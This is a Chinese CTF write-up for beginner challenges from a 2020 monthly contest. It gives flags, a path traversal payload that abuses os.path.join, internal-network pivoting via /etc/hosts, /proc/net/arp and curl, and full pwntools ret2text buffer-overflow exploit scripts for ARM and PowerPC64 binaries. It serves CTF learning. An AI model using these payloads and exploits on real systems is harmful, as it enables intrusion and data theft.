

# Noob

---

## 签到题

输入上面的题目介绍就能拿分了，即 `N3EPu{Le4rn_ev3ry_dAy}`

## 来学习如何使用 nc 吧

题目环境在

[https://github.com/binLep/NEEPU-Sec-Monthly-Contest/blob/master/2020-06/Noob/test\\_nc.zip](https://github.com/binLep/NEEPU-Sec-Monthly-Contest/blob/master/2020-06/Noob/test_nc.zip)

常驻签到题，nc 连接完终端后输入 `cat flag` 即可得到 flag

## Misc

---

### Base64

base64 会将每三个字符编码成四个字符，不够的用 = 补全，所以编码后长度应该是四的倍数

`TkUzzUHV7NTI4ZTBhNThhYzgyYjI3NzM1YzM1MWVimjgyNWY3ZjV9`

长度不对

编码 NE3Pu 结果为 TkUzUHV7，发现多了一个 z，去掉后可正常解码

flag: `NE3Pu{528e0a58ac82b27735c351eb2825f7f5}`

### WaterMarkH

这个题的文件名本来是

`JOMIL)B`K37[H39046G]D_WaterMark.jpg`

带有盲水印工具的生成标志，但是上题的时候被改成了 1.jpg

发现后又改了回来，不过是直接把题目名改成了 WaterMarkH 了。

使用 WaterMarkH 解码直接获得 flag

## Web

---

### pilipili

禁用了 F12 和右键

可以使用 view-source 读源代码 或者 抓包 或者 先打开控制台再打开网页

打开页面10秒会弹出一个提示框，flag 跟提示框的代码写在一个 js 文件中

做了简单混淆，但是字符串没有变化，解完混淆后是标准的 flag 格式

### poem

给了部分源码

`os.path.join(str1, str2)`

当 str2 以 / 开头，会只返回 str2

payload : `?name=/flag`

## exec\_cmd

开始题目缺少一些描述，后来加上了 hint

hint: flag 在网站根目录下的 flag.txt 中

题目是由两台机器组成的内网，都运行着 web 服务，跳板机对外开放可以执行命令

在跳板机网站根目录没发现 flag 于是执行命令

```
cat /etc/hosts
```

主机 IP 为 173.0.111.4

探测 D 段相邻 IP 是否存在存活主机

同时可以看 `/proc/net/arp` 有无通信记录

```
curl 173.0.111.5 发现 phpinfo
```

payload : `curl 173.0.111.5/flag.txt`

## Pwn

### armhf-ret2text

checksec 可以看出这个是 32 位小端序的程序

```
1 Arch:      arm-32-little
2 RELRO:     Partial RELRO
3 Stack:     No canary found
4 NX:        NX enabled
5 PIE:       No PIE (0x10000)
```

看源码就是基础的 ret2text，正常做就行

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char buf; // [sp+0h] [bp-54h]
4
5     setbuf((FILE *)stdin, 0);
6     setbuf((FILE *)stdout, 0);
7     setbuf((FILE *)stderr, 0);
8     puts("binLep is slacking off..\nPlease input something");
9     read(0, &buf, 0x70u);
10    puts("I have received your message, Thank you!");
11    return 0;
12 }
```

解题脚本：

```
1 #!/usr/bin/env python
2 # -*- coding: utf-8 -*-
3 from pwn import *
```

```

4
5 debug = 2
6 qemu = 'qemu-arm'
7 libc_path = '/usr/arm-linux-gnueabi/libc.so.6'
8
9 context(arch="arm", endian='el', os="linux")
10 context.log_level = "debug"
11 if debug == 1:
12     p = process([qemu, '-g', '12345', '-L', libc_path, './pwn'])
13 elif debug == 2:
14     p = process([qemu, '-L', libc_path, './pwn'])
15 else:
16     p = remote('localhost', 10003)
17 addr_system = 0x10540
18
19 pd = 'a' * 0x54
20 pd += p32(addr_system)
21 p.sendlineafter('thing\n', pd)
22 p.interactive()

```

## powerpc64-ret2text

checksec 查看程序可以看出这是一个 64 位大端序的程序

所以代码里要加个 `context.endian = 'be'`

源码跟上面差不多，不过 IDA 不能反汇编，拿 Ghidra 来看比较方便

```

1 undefined8 main(void)
2
3 {
4     undefined aystack560 [0x228];
5
6     00000018.plt_call.setbuf@@GLIBC_2.3(stdin, (char *)0x0);
7     00000018.plt_call.setbuf@@GLIBC_2.3(stdout, (char *)0x0);
8     00000018.plt_call.setbuf@@GLIBC_2.3(stderr, (char *)0x0);
9     00000018.plt_call.puts@@GLIBC_2.3("binLep is really slacking off..");
10    00000018.plt_call.read@@GLIBC_2.3(0, aystack560, 0x300);
11    00000018.plt_call.puts@@GLIBC_2.3("wuwuwu");
12    return 0;
13 }

```

还有一点就是 ppc64 需要向后覆盖 0x18 位，而不是正常的 0x8 位

解题脚本：

```

1 #!/usr/bin/env python
2 # -*- coding: utf-8 -*-
3 from pwn import *
4
5 debug = 2
6 qemu = 'qemu-ppc64'
7 libc_path = '/usr/powerpc64-linux-gnu/'
8
9 context(endian='be', os="linux")
10 context.log_level = "debug"
11 if debug == 1:

```

```
12     p = process([qemu, '-g', '12345', '-L', libc_path, './pwn'])
13 elif debug == 2:
14     p = process([qemu, '-L', libc_path, './pwn'])
15 else:
16     p = remote('localhost', 9999)
17 addr_system = 0x100007e8
18
19 pd = 'a' * 0x240
20 pd += p64(addr_system)
21 p.sendlineafter('off..\n', pd)
22 p.interactive()
```